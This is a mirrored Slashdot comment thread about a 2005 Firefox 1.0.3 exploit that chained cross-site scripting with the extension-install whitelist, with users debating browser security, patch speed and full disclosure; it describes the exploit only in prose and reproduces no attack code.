Slashdot Mirror


New Mozilla Firefox 1.0.3 Exploit

An anonymous reader writes "News sources are reporting that a 'killer' new Firefox exploit has been revealed today by FrSIRT who warn that this 0day exploit/vulnerability (as yet unpatched) should be rated as critical. Summary of the exploit: If a user clicks anywhere on a specially crafted page, this code will automatically create and execute a malicious batch/exe file. Proof of concept code supplied by FrSIRT."

596 comments

  1. Uh oh! by kryogen1x · · Score: 3, Funny
    Hey everyone let's use IE now, because it's safer than Firefox.

    Oh, wait.

    1. Re:Uh oh! by tomjen · · Score: 2, Funny

      At least firefox is safer than lynx - no one has been arested for using firefox - yet.

      --
      Freedom or George Bush
    2. Re:Uh oh! by Anonymous Coward · · Score: 0

      Would you care to enlighten us? Links? Please?

    3. Re:Uh oh! by ebuilder · · Score: 5, Insightful

      Start your stop watches and let's see how long before a patch is forthcoming. To my mind that is the real test Then compare that time to M$' response time.

      --
      Eric C Williams E-Builders, LLC
    4. Re:Uh oh! by Anonymous Coward · · Score: 0

      Microsoft's response time is still ticking on remote exploit bugs in IE...

    5. Re:Uh oh! by Anonymous Coward · · Score: 1, Informative
    6. Re:Uh oh! by KronicD · · Score: 2, Informative

      This is what he was refering to.

      --
      "Those who would give up Essential Liberty, to purchase a little Temporary Safety, deserve neither Liberty nor Safety"
    7. Re:Uh oh! by Anonymous Coward · · Score: 0

      Is this still funny? What year is it again?

    8. Re:Uh oh! by Curtman · · Score: 4, Informative

      Start your stop watches and let's see how long before a patch is forthcoming

      Might as well hit stop now. The bug isn't exploitable any more since update.mozilla.org itself has been fixed.

    9. Re:Uh oh! by Anonymous Coward · · Score: 1, Informative

      If by 'known' you mean public, then yes, you are right. However, there are no less than THREE unpatched remote exploits for IE which have been discovered. See:

      http://www.eeye.com/html/research/upcoming/index.h tml

      I do agree that the 'Firefox is more secure' meme was largely unfounded, but don't let MSFT off the hook so easily. Switch to Opera ;-)

    10. Re:Uh oh! by Anonymous Coward · · Score: 0

      According to this post on the IEBlog two of those have been patched (although the logic seems a bit warped). Does anyone know?

    11. Re:Uh oh! by MarkByers · · Score: 5, Informative

      In Firefox, to stop this vulnerability:

      Web Features->Allow web sites to install software

      I'll switch to MS IE as it has no known serious vulns

      Internet Explorer Long Share Name Buffer Overflow Highly Critical

      Yeah... whatever. I don't mind if you would rather use a browser with a known serious security problem, but saying that IE has no known serious issues is misinformed.

      --
      I'll probably be modded down for this...
    12. Re:Uh oh! by asdf.qwerty.zxcv · · Score: 1, Interesting

      Hmmm... with all the strong support of Opera users from /. a few weeks ago about the launch of 8.0 there hasn't been a comment on Opera yet.

      Well Opera doesn't seem to have this vunerability or IE's woes

    13. Re:Uh oh! by Curtman · · Score: 2, Insightful

      Well Opera doesn't seem to have this vunerability or IE's woes

      Its too bad it has obnoxious ads, its javascript sucks, and it is proprietary though.

    14. Re:Uh oh! by JamesOfTheDesert · · Score: 1

      BTW, was there ever any verification, aside from an unsubstantiated claim from boing boing, that the mere use of Lynx was in fact what triggered the suspicion of hacking?

      --

      Java is the blue pill
      Choose the red pill
    15. Re:Uh oh! by KnightMB · · Score: 3, Informative

      Anyone actually tried this yet? I did and it did NOT work on Windows XP, Windows 2000, Linux (obvious), Windows 98, Windows 2003 Server or Windows NT 4.0? So what gives? More FUD being spread about Firefox again?

    16. Re:Uh oh! by Anonymous Coward · · Score: 0

      the bbc ran the story as well, so it wasn't just some random web page spouting crap.

    17. Re:Uh oh! by imsabbel · · Score: 2, Insightful

      Come on.
      This bug was a classified bugzilla item since nobody-knows-when.

      So starting the stopwatches NOW would be pointless, wouldnt it?

      --
      HI O WISE PRINCE. WHT TOOK U SO DAM LONG?
    18. Re:Uh oh! by Nazadus · · Score: 0, Troll

      Puh-leeze.
      Are you telling me you expect a noob to know this?
      How is my grandmother supposed to know of this?
      Why doesn't the little red arrow (update icon) display yet?
      So, as far as I'm concerend -- it's not.
      *tick* *tock*

      --
      "Do or do not. There is no try." -- Master Yoda (Half man, half muppet)
    19. Re:Uh oh! by Anonymous Coward · · Score: 0

      I wouldn't call those ads "obnoxious". It's a thin strip of relevant Google ads that you can easily hide, anyway. (Hint: press F11)

    20. Re:Uh oh! by Donny+Smith · · Score: 1


      From the URL:
      ------------
      Where: From local network

      The vulnerability is caused due to a boundary error, which can be triggered via Internet Explorer and Windows Explorer when connecting to a file server. This can be exploited to cause a buffer overflow by setting up a malicious share with an overly long name (about 300 bytes) containing no lower case characters.
      ------------

      a) I control the local network at work and home and for that to happen someone would have to break thru my Linux firewall or gain admin access to a Samba/CIFS machine from within the local network
      b) I would be highly suspicious of opening a file with a name longer than 30 characters. And I'd reprimand any employee for unnecessary creating a filename of over 50 characters.

    21. Re:Uh oh! by Curtman · · Score: 4, Informative

      Are you telling me you expect a noob to know this? How is my grandmother supposed to know of this?

      Know what? Whats wrong with your grandma, Alzheimer's?

      Why doesn't the little red arrow (update icon) display yet?

      Because you don't need to update anything. It was fixed on updates.mozilla.org. The site needs to be in your white list of sites that are allowed to install software to be vulnerable. I'm sure they will have a more permanent fix later at some point, but the current exploit no longer works. Go ahead and try it.

      So, as far as I'm concerend -- it's not.

      But you're a bit of a fool, so I'm not sure your opinion counts.

    22. Re:Uh oh! by lav-chan · · Score: 1

      If you're willing to buy or pirate Windows, i'm pretty sure you'll get over buying or pirating Opera. (I mention Windows because of the 'IE's woes' thing. Obviously it doesn't necessarily apply if you're using Linux or whatever.)

      Out of curiosity (i honestly don't know too much about it), though, what's wrong with Opera's JavaScript?

    23. Re:Uh oh! by Ryosen · · Score: 2, Interesting

      >>Its too bad it has obnoxious ads, its javascript sucks, and it is proprietary though.

      Proprietary, heaven forbid!

      Javascript works just fine. When you don't see a site working properly, it's the script that's the problem. Opera 6 was very stringent about adhereing to Ecmascript standards. Opera 7 relaxed that a bit, and version 8 even more.

      It's very easy to make the ads away (which are not at all obnoxious or intrusive to begin with).

      Simply register the software.

      --

      Ryosen
      One man's "Troll, +1" is another man's "Insightful, +1".
    24. Re:Uh oh! by CTho9305 · · Score: 1

      The original (private) bug was filed less than a week ago.

    25. Re:Uh oh! by yesteraeon · · Score: 0

      No, because with MS we have no idea of how long it takes between when THEY know about a potentially exploitable bug and when the patch is released. We only know how long it takes between the public announcemnt of the bug or a specific exploit of said bug and the release of a patch. Thus seeing how long it takes Mozilla to release a patch from NOW is really the only comparison we can make. Of course, the better comparison would be time between learning about the bug and the patch, but that option is not available.

    26. Re:Uh oh! by aichpvee · · Score: 1

      Or all the windows users could just switch to Linux where this "exploit" won't do shit.

      --
      The Farewell Tour II
    27. Re:Uh oh! by Curtman · · Score: 2, Informative

      what's wrong with Opera's JavaScript?

      It's not the fault of Opera really, but the DOM doesn't match either Netscape/Moz or Exploder.. I wouldn't consider myself a "web developer" by any means, but I've done my share. Getting pages to work in IE and FF is a chore, and supporting Opera is just a waste of time.

    28. Re:Uh oh! by Curtman · · Score: 1

      I would be highly suspicious of opening a file with a name longer than 30 characters. And I'd reprimand any employee for unnecessary creating a filename of over 50 characters.

      And I'd fire any admin that
      A) left xpi support turned on in the employee's browser
      or
      B) who was baffled about how to make sure they aren't vulnerable to this now defunct exploit.

    29. Re:Uh oh! by Anonymous Coward · · Score: 0

      Then compare that time to M$' response time.

      Your post was truncated, fortunately, I found the rest of it.

      'OMG!!! OMG!!!! M$!!! M$ IZ TEH GHAY!!! MOM! MOM? Can I have more poptarts now? M$!!! M$!!!'

    30. Re:Uh oh! by fasteddie203 · · Score: 1

      Following your own link, you can see that the exploit has been patched.

    31. Re:Uh oh! by MarkByers · · Score: 1

      'Solution Status: Unpatched'

      Following your own link, you can see that the exploit has been patched.

      Huh?

      Besides, even if that one is patched, there are many more unpatched vulnerabilities marked as critical, so my point still stands.

      --
      I'll probably be modded down for this...
    32. Re:Uh oh! by SilverspurG · · Score: 1

      I've seen Opera crash in some pretty extraordinary fashions. I'm not certain that I entirely trust the security of a product which has dedicated window areas for spamvertising.

      This is purely conjecture but, from experience, anything even remotely related to advertising typically has lower ethical standards in the interest of achieving the advertising goals.

      --
      fast as fast can be. you'll never catch me.
    33. Re:Uh oh! by NanoGator · · Score: 1

      "Its too bad it has obnoxious ads"

      Since when are Google text ads 'obnoxious'? Or are you thinking of Opera from like 3 years ago?

      --
      "Derp de derp."
    34. Re:Uh oh! by Anonymous Coward · · Score: 0

      better yet, let's see if M$ can come up with FUD about this faster than the bug fix...

      uh-oh, too late. bug is fixed.

    35. Re:Uh oh! by Curtman · · Score: 1

      Or are you thinking of Opera from like 3 years ago?

      I don't think so. I'm thinking of this one seen here with the words "BUY OPERA TODAY! And make this banner go away".

    36. Re:Uh oh! by NanoGator · · Score: 1

      THat's not even close to what Opera's default banner looks like.

      Take a look at this.

      Even that is about as 'obnoxious' as that gets. The Google ads are more subtle. Also, they do NOT blink, flash, make noise, or do anything else. They're quite literally Google text ads.

      --
      "Derp de derp."
    37. Re:Uh oh! by Curtman · · Score: 1

      THat's not even close to what Opera's default banner looks like.

      Haha. Thats funny that you asked me if I'm thinking of Opera of 3 years ago, and you're the one with the older version.

    38. Re:Uh oh! by NanoGator · · Score: 1

      That might be funny except I didn't post that screen shot. I linked an image I found that has the same banner.

      What IS funny is that the reason I didn't show you a screen grab of my browser is that I've got visible porn links all over it. ;)

      --
      "Derp de derp."
    39. Re:Uh oh! by Curtman · · Score: 1

      I see whats happening here. There is no default. It asks you this the first time.

    40. Re:Uh oh! by NanoGator · · Score: 1

      Well, I called it a default because if you just quickly Okay through it, it goes straight to the Google ads.

      Sorry if I've frustrated ya on the topic.

      --
      "Derp de derp."
    41. Re:Uh oh! by Curtman · · Score: 1

      Sorry if I've frustrated ya on the topic.

      I'm not going to lose any sleep over it. ;)

      You can't just "Okay through it" though. The "OK" button is inactive until you pick one or the other. (sorry nitpick)

    42. Re:Uh oh! by JamesOfTheDesert · · Score: 1

      I've looked but have yet to see a BBC article that mentions the use of Lynx, or includes any statement from the accused offereing a explanation of his behavior. So far as I can tell, the "jailed for using Lynx" bit has no substance.

      --

      Java is the blue pill
      Choose the red pill
    43. Re:Uh oh! by makomk · · Score: 1

      Where: From local network

      But also:

      NOTE: Secunia would normally rate this kind of vulnerability as "Moderately critical", since this kind of traffic should be restricted to a LAN via border routers and firewalls. However, this is not the case on many networks, which leads to the higher rating.

    44. Re:Uh oh! by porneL · · Score: 0

      I'd consider myself web developer and I don't see many problems with Opera's Javascript/DOM. Opera supports both IE-specific stuff and DOM1/DOM2. Only bits missing yet is DOM Stylesheets (but you can switch/alter stylesheets using other methods).

  2. Re:This is getting really old by Azadre · · Score: 1

    What is wrong with a campaign to fix bugs? Their lives consist of programming: writing software AND fixing all bugs.

  3. Has he dropped this in bugzilla as well? by wzzrd · · Score: 3, Insightful

    Because THAT, with some documentation, would be helpfull. Still, as long as it doesn't create *nix r00tkits on the fly on my box, I'm on the safeside :)

    1. Re:Has he dropped this in bugzilla as well? by Anonymous Coward · · Score: 3, Informative

      Yes, it's in Bugzilla (bug is temporarily restricted because of security concerns). There's also a dupe already. No need to add more.

  4. gah by Turn-X+Alphonse · · Score: 1, Funny

    Fantastic. Now we'll see Microsoft going "OMG DON'T USE FIREFOX YOU CAN'T EVEN CLICK ON SOMETHING SAFELY!". I guess this is at least 1 step up from "just come to the page, we'll own your PC and you don't even need a mouse".

    --
    I like muppets.
    1. Re:gah by Anonymous Coward · · Score: 2, Insightful

      Wanna bet? In my experience it's the Firefox fanboys and zealots who cry that about IE every time it's mentioned on Slashdot. Firefox is the better browser, but kids, we already know that, and bashing IE doesn't make it any better.

      I'd also wager that comments like "This will be fixed quickly, IE still sucks." will get modded up to +5 insightful instantly. Again. Off-topic is so relative when it comes to Slashdot, you see.

    2. Re:gah by ergo98 · · Score: 4, Insightful

      Now we'll see Microsoft going "OMG DON'T USE FIREFOX YOU CAN'T EVEN CLICK ON SOMETHING SAFELY!".

      You mean like the F/OSS evangelists do everytime a flaw is found in Internet Explorer?

      However, I do think there is an important lesson in here - a lot of open source advocates have set an unreasonable level of expectations by proclaiming the amazing magic of open source: A fantasy world where every line is thoroughly vetted by thousands of super-experts, and if the source is available that instantly disproves the existence of malicious intent (put a trojan out, mark in GPL and make the source available, and I'd bet a lot of the converted would immediately download and install blindly. There are countless OSS projects where no one but the author ever bothers looking at the code).

    3. Re:gah by Anonymous Coward · · Score: 5, Insightful

      I have to disagree. This sort of exploit is extremely worrying.

      At first, Mozilla fans (me included) all said "the chances of Firefox getting 0wned by exploits is very slim, Mozilla is secure by design -- IE isn't".

      By about 0.9 or 0.10 the holes started pouring in -- but it was ok: "This is simply Mozilla Foundation's bug patching contest, they are working FOR us instead of AGAINST us."

      After this it wasn't only white-hat mozilla funded security experts that started showing there was holes in the code. We changed our story again and, somewhat rightly, pointed out that "these are very theoretical and it would be very hard to use this to exploit a computer like IE can".

      This is a really big problem. This will get exploited like crazy as it seems exceptionally easy to do. Not only that, I expect the only fix from Mozilla will be as usual, a 5MB binary installer with the files changed. This is unacceptable on a 56k modem and people just won't bother upgrading to a secure version.

    4. Re:gah by ssj_195 · · Score: 2, Interesting

      Excellent analysis. Wish I could mod you up, but hopefully others will take it upon themselves to do this. There is some light at the end of the tunnel, however; I gather that the installed version of Firefox spans several small-ish files, and that the next Firefox version (i.e. 1.1 onwards) will be geared towards swapping out just the files that cause the problem, alleviating the large downloads (and general inelegance) of performing a full download & re-install every time a patch is required.

    5. Re:gah by Pecisk · · Score: 2, Insightful

      Hmmmm, F/OSS evangelists do that? Most them don't even care about IE bugs anymore, because they lost count.

      Look, if I am honest, i don't give a shit about IE, because I simply don't use it, so I'm not going to bash or prise it. But what you claim is outright ridiculous. This is NOT a trojan case, it is first, so you compare apples with oranges, second, it is just bug in JavaScript, concept of installing software from web site was right with whitelist protection, if it doesn't work it is bug, but not in design, but in coding. Third, you just think that many people will install this theoretical GPL-based trojan horse without questions - don't mentioning that very early adaptors of any new GPL based app is usually geeks who doesn't take security lightly - then please show me some record when such thing ever has happened.

      I would like to spend mod points to mod you troll, but hey, as it is stylish now to bash open source in Slashdot now (because lot of Microsoft/Windows crowd joined recently years) and you will get certanly some mod points for saying 'i told you so, open source is unsecure and evil'. It doesn't matter that reality check shows different picture.

      --
      user@ubuntubox:~$ stfu This server is going down for shutdown NOW!
    6. Re:gah by antiMStroll · · Score: 1

      No one ever claimed F/OSS was perfect or resulted in perfect code, unless you can point to evidence otherwise. Every discussion of relative security security merits statistically centred on the claims are that OSS has fewer issues, those that do occur are lower risk and generally require manual application instead of MS's automated install, and that patches appeared sooner. The only real fantasy here is you representation of F/OSS 'evangelists'.

    7. Re:gah by Tim+C · · Score: 2, Insightful

      No one ever claimed F/OSS was perfect or resulted in perfect code

      Yes, they have. Almost every discussion about such things here will have a number of replies claiming just that. Of course, those people aren't worth listening to, but they still say it.

    8. Re:gah by omb · · Score: 1

      No this isn't INSIGHTFUL at all, unlike the intended audience of this Astroturf, I do understand that ActiveX is easy to get to from
      IE and hard to get to from Firefox, and when
      you do get a problem, which in reality is never,
      it is easy to find, will normally be be reported
      automatically to 'root' by security scripts.

      When to come to fix it it cant leave roots
      in the Registry hive.

    9. Re:gah by Anonymous Coward · · Score: 0

      It's not that we like to talk about IE or promote F/OSS so much as it is that we are fed up with MS taking forever with patches, compared to the OS community. Also, we're fed up with people who scream and complain about MS products being buggy yet continue to use them. We're not really yelling at you or saying that you HAVE to do this, we're just saying that if you don't want the problems, don't use the products that cause them. And, especially, DON'T complain to us about them, because we don't have the source code, we can't get it, and, therefore, we can't do anything about it.

      Plus, many of the IE security advisories (including some that say you shouldn't use IE) aren't from "F/OSS evangelists" - they're from security companies and government agencies. In fact, many governments are considering switching (or have already switched) to Linux and other open-source MS alternatives. The government doesn't trust MS - should you?

      Also, there IS malicious intent in the world, yes, and people have tried to put viruses/trojans/etc. in open-source software, but it is reviewed by thousands of people and is fixed very quickly.

      How many OS projects are there that no one looks at the code but the auther, other than the ones no one cares about? And why even download it if you don't care what it's doing? And don't act as though Windows users are any safer. I could EASILY make a program that DEMOLISHES Windows and just say it's something else - NO ONE would know until they tried to install it, since they wouldn't have the source code, just an EXE.

      Plus, most people would never put malicious code in OS software. Why? Same reason graffiti artists don't sign their name. When you post code, your code usually isn't accepted into the project without a username, email address, or something, and it's reviewed before it's included and can be removed at any time. Put code like that into some important OS software and all you'll get is your code removed, kicked out of the project, and possibly some hate mail from the new "friends" you made.

    10. Re:gah by Anonymous Coward · · Score: 0

      "I would like to spend mod points to mod you troll, but hey, as it is stylish now to bash open source in Slashdot now (because lot of Microsoft/Windows crowd joined recently years) and you will get certanly some mod points for saying 'i told you so, open source is unsecure and evil'."

      I'm glad I'm not the only person who has noticed the recent barrage of pro-Microsoft trolling on slashdot.

    11. Re:gah by Anonymous Coward · · Score: 0

      No , he means , like Microsoft FUD machine , who like to spin every story to there advantage and are like you lying most often there not.

      There is a lesson to be learned , and its dont believe anything someone say about Microsoft security , if you think its bad , its because you dont know anything its even worst then you know.

      There are no expectation set for and By Open Source advocates/promoters , they only whant there software to be open source so that problem such as this one are known and can be fixed as soon as can be possible from anyone who as the knowledge to do so.

      There are millions of Trojan for Microsoft products , trillions of bugs , billions of exploit , Virus are made every mili second.

      Costing everyone Millions , billions, trillion annually.

      No Microsoft security is not much better after something like this ... There should be an end to the planet before F/OSS meets 1/billion of the security problem Microsoft as.

      And your the one making fairy tales , when security bugs are found in F/OSS they are fixed.

    12. Re:gah by VStrider · · Score: 1

      put a trojan out, mark in GPL and make the source available, and I'd bet a lot of the converted would immediately download and install blindly. There are countless OSS projects where no one but the author ever bothers looking at the code

      This is highly unlikely, for the simple reason that most projects do something usefull and it takes alot of effort to code a program.
      I doubt that anyone would spend countless hours writing usefull code only to serve as a trojan carrier. There are easier ways to do that, like "hey, have a look at this funny clip".

      --
      VStrider.
    13. Re:gah by smartsaga · · Score: 1

      But Santa Claus exists... right? Tle me he does... PLEASE!!!

      I Santa a penguin??

      --
      ===== "Every head is a different world so don't invade mine you FREAK!" smartSAGA said
    14. Re:gah by Anonymous Coward · · Score: 0

      > generally require manual application instead of MS's automated install

      This bug is caused by an OSS Auto-Install feature! Talk about inappropriate FUD.

    15. Re:gah by yfan · · Score: 3, Informative

      Um, let's take a minute and remember that according to the secunia advisory, ONLY sites that are allowed to install software can exploit this. And by default, that's only update.mozilla.org and addons.mozilla.org. If you are not adding untrustd sites to the list of sites that can install software to your browser, you are probably not in danger. That is not to say this doesn't need to get fixed, it totally does. But we're probably getting a little more excited/worried than there is cause for.

    16. Re:gah by Anonymous Coward · · Score: 0

      Really? And here I thought the OS was responsible for software installation.

    17. Re:gah by Albinofrenchy · · Score: 2, Insightful

      I would recommend that you stop letting the idiots drag you down to thier level.

      --
      "A man is but the product of his thoughts what he thinks, he becomes." -Mahatma Gandhi
    18. Re:gah by Anonymous Coward · · Score: 0

      There are countless OSS projects where no one but the author ever bothers looking at the code).

      That's being quite generous. The first time my code successfully compiles and doesn't segfault is about all the looking that I do.

    19. Re:gah by rapidweather · · Score: 1
      I wonder what, if anything, would happen on a livecd linux system running Firefox if an .exe were generated by a web site?

      As long as the livecd system is running and up, the box might be/could be owned for some purpose, but once the machine is powered down, then what?

      In addition to my own remaster, my favorites are Damn Small Linux 1.1, SuSE LiveEval, and PCLinuxOS. I do use usb pen drives on these for restoration of personal settings, but only the PCLinuxOS uses a persistant home directory, running all the time you are up.
      Stuff could be written there, and reappear next time.

    20. Re:gah by black+mariah · · Score: 0

      When idiocy and douchebaggery are the order of the day, it's hard to ignore it.

      --
      'Standards' in computing only impress those who are impressed by things like 'standards'.
    21. Re:gah by antiMStroll · · Score: 1, Insightful

      By responding I'm ignoring your advice, but please, show me these posts. Not the ones floating around in your fevered preconceptions, show me ten real world submissions claiming F/OSS is perfect and results in perfect code. Put up or get of yer mom's computer.

    22. Re:gah by sploit · · Score: 2, Informative

      There are two independent bugs which are combined in the demo exploit. The cross site scripting part does not require any whitelist privilege whatsoever. If you're using login cookies, you're vulnerable. It is entirely possible to write an exploit which orders stuff from online stores, in your name and from your IP address. Combined with the cross site scripting bug, the whitelist requirement of the remote execution bug is moot, because a site can simply inject code into one of the standard whitelisted sites. The temporary fix on UMO breaks the published exploit, but there is no reason why an exploit couldn't simply inject its own call to InstallTrigger.install into one of these sites. This is a VERY dangerous combination of bugs. There will be exploits. The only way to escape both bugs is to turn off Javascript. Turning off software installation just prevents the remote execution, not the cross site scripting.

    23. Re:gah by SilverspurG · · Score: 1
      "hey, have a look at this funny clip"
      I've always suspected that Clippy's appearance was an indication that something is wrong with the system.

      OpenOffice's light bulb works the same way. "Oh look! The light bulb's on! It's telling me there's something wrong with my system."
      --
      fast as fast can be. you'll never catch me.
    24. Re:gah by SilverspurG · · Score: 1
      Almost every discussion about such things here will have a number of replies claiming just that.
      I am F/OSS. You fscks with me and you'll be marryin' the dirt and I'll throw in the Tux for free.
      --
      fast as fast can be. you'll never catch me.
    25. Re:gah by Albinofrenchy · · Score: 2, Funny

      Are you serious? Somehow you mixed up my post with the parent post and constructed some form of elaborate world where you were right and witty.

      Unfortunatly, you lack the cognitive ability to figure out context and are flaming someone who is more or less on your side of this debate.

      --
      "A man is but the product of his thoughts what he thinks, he becomes." -Mahatma Gandhi
    26. Re:gah by ergo98 · · Score: 1

      as it is stylish now to bash open source in Slashdot now (because lot of Microsoft/Windows crowd joined recently years) and you will get certanly some mod points

      Yeah, with a 4-digit UID I just learned about this Slashdot.org thing.

      The remarkable thing, and I've encountered this quite a few times lately, is that the zealots can't read something without automatically trying to assign the writer to a camp (the followup talking about pro-Microsoft posters is just a frickin' riot. Pro-microsoft indeed) - You're either with us, or you're against us. I suppose Bush and pals made this sort of idiotic reasoning the norm (wait...does this make me a Democrat?).

      Nothing I said was pro-closed source, or even anti-open source. It was specifically about the presumption of all-encompassing security in OSS projects (and for the other person that questioned whether people make these claims - they make it all the god damn time. Every article about IE faults, which appear on here quite prevalently, invariably includes lessons about why this would never have happened with OSS (or the equally funny "Well it happened, but it'll get fixed quick!". Ignore that people might have been exploiting it for months).

      I have no expectation of converting the zealots, and I realize that many here are lost causes - unable to understand that there are grays, and every participant isn't a polarized nutcase.

    27. Re:gah by Anonymous Coward · · Score: 0

      Then you are wrong and should study the Firefox documentation.

    28. Re:gah by tritonic · · Score: 1

      Nowadays, a lot of 'hacking' is motivated by money. Think of online bank fraud, spam mailing, DDOS-to-hire, etc. I'm sure there are people out there who would put a lot of time and effort into writing exploits if step three was ... profit.

    29. Re:gah by bedessen · · Score: 1

      This is incorrect. The exploit fakes the Firefox security model by loading a page on a trusted site and then injecting javascript into the context of that page. Becuase JS in that context has the privileges to download and install things, it then fetches the payload from an untrusted site and installs it. So even if you only have update.mozilla.org whitelisted you are STILL VULNERABLE.

      Now, in recent days the admins of that site have made a work-around that makes it harder for the vulnerability to load a given update page from update.mozilla.org. But the fundamental vulnerability still exists, and needs to be fixed.

    30. Re:gah by SQLz · · Score: 1
      However, I do think there is an important lesson in here - a lot of open source advocates have set an unreasonable level of expectations by proclaiming the amazing magic of open source: A fantasy world where every line is thoroughly vetted by thousands of super-experts, and if the source is available that instantly disproves the existence of malicious intent (put a trojan out, mark in GPL and make the source available, and I'd bet a lot of the converted would immediately download and install blindly.

      Please, name these magical advocates and provide some links or at least one quote from a well known advocate who preaches that. You can't. Why? Because they don't exist.

      Maybe you have talked with a single person who has this view or whose only open source experience has been with large projects where thousands of people are hacking the code. I can assure you the OSS community is not trying to trick people into thinking Linus himself is reviewing every line. I will say peer review is a huge part of the open source development process and one of the biggest assets we have to help us create secure code. Case in point, Firefox developers knew about this bug long before the public found out about it its already been fixed. Name a time MS fixed something the same day.

      With many projects, you can go right to the sourceforge.net page and see how many developers are actually working on the project and how many outside patches have come in. I don't even see how open source advocates could even hope to argue what you are suggesting.

      That being said, I think that a lot of developers go out of their way to write clear, simple, and concise code when they plan on releasing it to the world. They code to the best of thier ability at the time and they are proud of every line.(even if it is crap) The point is to make a good enough program for people to actually use and to maybe attract one or two people interested in helping in any way possible. Thats hard to do if your putting out shit. What I'm saying is that a lot of people tend to put a little extra love and care into code because they want to recieve mad props from their peers and often times this alone leads to better, more secure code.

      I realize, your a Windows developer. I'm sure you get into arguments about open source with people all the time. Have you ever released something open source? I also don't understand why people who believe in the open source development model are 'evangelists'.

    31. Re:gah by Anonymous Coward · · Score: 0

      >Please, name these magical advocates and provide some links or at least one quote from a well known advocate who preaches that.

      You must be new here. Welcome to Slashdot!

    32. Re:gah by ChatHuant · · Score: 1

      ...a lot of open source advocates have set an unreasonable level of expectations by proclaiming the amazing magic of open source: A fantasy world where every line is thoroughly vetted by thousands of super-experts...

      Please, name these magical advocates and provide some links or at least one quote from a well known advocate who preaches that.

      Here. If you argue for a position, it's a good idea to read the defining literature. Will save you from looking uninformed or worse. And, to avoid a waste of time with technicalities, I know ESR doesn't mention superexperts, but that's not necessary at all for the argument in the grandparent post.

    33. Re:gah by antiMStroll · · Score: 1
      "Are you serious? Somehow you mixed up my post with the parent post.."

      The post had a major point - F/OSS advocates insist the results are perfect - and a minor one - that he didn't think that way. You advised not to "let idiots drag you down.." without refering to which. Most English speakers would assume it addressed the major point. It was a perfectly reasonable mistake caused by a poorly formed response. You talk context but assume people should magically pull the correct one from their ass because you're Slashdot's fabulous Albinofrenchy? Please.

    34. Re:gah by Albinofrenchy · · Score: 1

      Despite the number of points made in the post, there was no question as to who the author of that post would have refered to as idiots.

      They were the only idiots in the thread -- until you posted of course.

      --
      "A man is but the product of his thoughts what he thinks, he becomes." -Mahatma Gandhi
    35. Re:gah by Anonymous Coward · · Score: 0

      I don't see why IE shouldn't be made to carry a responsibility proportionate to its ambitions. OSS software is inherently more secure because it's security can be proved or disproved independently. About IE, not much can be said except assurances from the manufacturers, who have a vested interest in keeping their failures from the public view.

  5. I'm sure everyone whill complain by Saven+Marek · · Score: 0, Redundant

    And everyone will say ":oh no firefox is a security risk" whaaaa. well this isnt really the case and is overstating things just a bit. When it comes down to it firefox still has many quicker fixes and the bug is probably already fixed by now.

    So if this is the case where is the problem? a non issue if you ask me.

    1. Re:I'm sure everyone whill complain by ssj_195 · · Score: 4, Interesting
      And everyone will say ":oh no firefox is a security risk" whaaaa. well this isnt really the case and is overstating things just a bit. When it comes down to it firefox still has many quicker fixes and the bug is probably already fixed by now.
      Perhaps the bug is already fixed in the dev tree, but this is irrelevant if the fix takes 3 months to deploy to users. Hopefully, the fixes to the auto-update system coming up in 1.1 (where a "security fix" does not consist simply of "re-install the whole of Firefox with this new version") will make the whole deployment aspect faster. Although I have to say, Firefox 1.0.3 seemed to follow quite quickly on the heels of 1.0.2, which is encouraging! :)
    2. Re:I'm sure everyone whill complain by Anonymous Coward · · Score: 0

      Knowing the FF devs, the autoupdate system will definitely bring in a lot of vulnerabilities

    3. Re:I'm sure everyone whill complain by CTho9305 · · Score: 2, Informative

      The devs were already working on it before some jerk full-disclosured w/working exploit. It had already been marked as a bug that would block both the 1.0.4 and 1.1 releases. All this person did was cause a lot of headaches for Mozilla developers, and put many users at risk.

    4. Re:I'm sure everyone whill complain by EchoMirage · · Score: 2, Interesting

      The devs were already working on it before some jerk full-disclosured w/working exploit.

      Well double dumbass on the Mozilla developers for knowing about it and not taking steps to mitigate it even without an exploit in the wild. Calling the person who released it a "jerk" just shows that you have no understanding that a security risk is severe, whether or not anybody knows about its existence. It's said time and time again, but nobody ever listens: security through obscurity is not security. The person who posted it wasn't a jerk - that's just blaming somebody else for the Mozilla developers' failures. Stop pointing the finger, fix the damn problem, and release a patch before Monday morning.

      [Disclaimer: I'm a Mozilla lover, not a Mozilla hater, but lovers can still have quarrels. I've used Phoenix/Firebird/Firefox exclusively since a week after Phoenix 0.1 was made public, and I've been a heavy advocate for it from day 1.]

    5. Re:I'm sure everyone whill complain by Anonymous Coward · · Score: 0

      It's said time and time again, but nobody ever listens: security through obscurity is not security.

      Who doesn't listen? The Moz Devs *do* listen. If this issue was as big as this article makes out, then a patch would be available asap.... but this issue *is not* as big as this article makes out!

      The Secunia Advisory shows that two bugs could be exploited to allow artibtary code execution, *BUT* the site hosting the malicious code would have to be on the users white-list of sites allowed to install software, which by default are "update.mozilla.org" and "addons.mozilla.org".

      These are both serious bugs and should be fixed quickly, but since they aren't (IMHO) critical, they can probably wait for more rigorous testing. The risk with releasing patches too early is that they might themselves contain bugs which would discourage users from upgrading in the future.

      You are right to be concerned, but in this instance there is no need to panic. Be assured that the Moz Devs do care about security and do fix things very very quickly when it is necessary, and merely quickly when it isn't!

    6. Re:I'm sure everyone whill complain by CTho9305 · · Score: 2, Interesting

      Well double dumbass on the Mozilla developers for knowing about it and not taking steps to mitigate it even without an exploit in the wild.
      There was nothing the Mozilla developers COULD do to mitigate it. Only when we (the Mozilla Update devs) realized exactly how the exploit depended on the Mozilla Update website could we do anything - and we spent a few hours last night working on the first level of mitigation. We've been working on a better solution most of today.

      Calling the person who released it a "jerk" just shows that you have no understanding that a security risk is severe, whether or not anybody knows about its existence.
      Yes, and it becomes a lot more severe once an exploit is posted for all the script kiddies to use. Do you really think we're better off now that any idiot can own a Firefox user's machine, rather than just the white hat who reported the hole (plus at most a few black hats)?

      It's said time and time again, but nobody ever listens: security through obscurity is not security.
      Obscurity is a valid layer of security, so long as it's not the only one. The fact that somebody felt it was wise to strip us of one layer of protection is what is annoying.

      If one of the doors to your house had a broken lock, would you rather have that be a secret until you can get to the hardware store and fix it, or have someone inform the whole neighborhood? Of course you'd PREFER to not have a broken lock at all, but in the real world, things don't always go the way you want.

      The person who posted it wasn't a jerk - that's just blaming somebody else for the Mozilla developers' failures. Stop pointing the finger, fix the damn problem, and release a patch before Monday morning.
      Nobody blames the person who leaked it for the hole - I blame the person who leaked it for the people who get hacked as a result of the posted exploit.

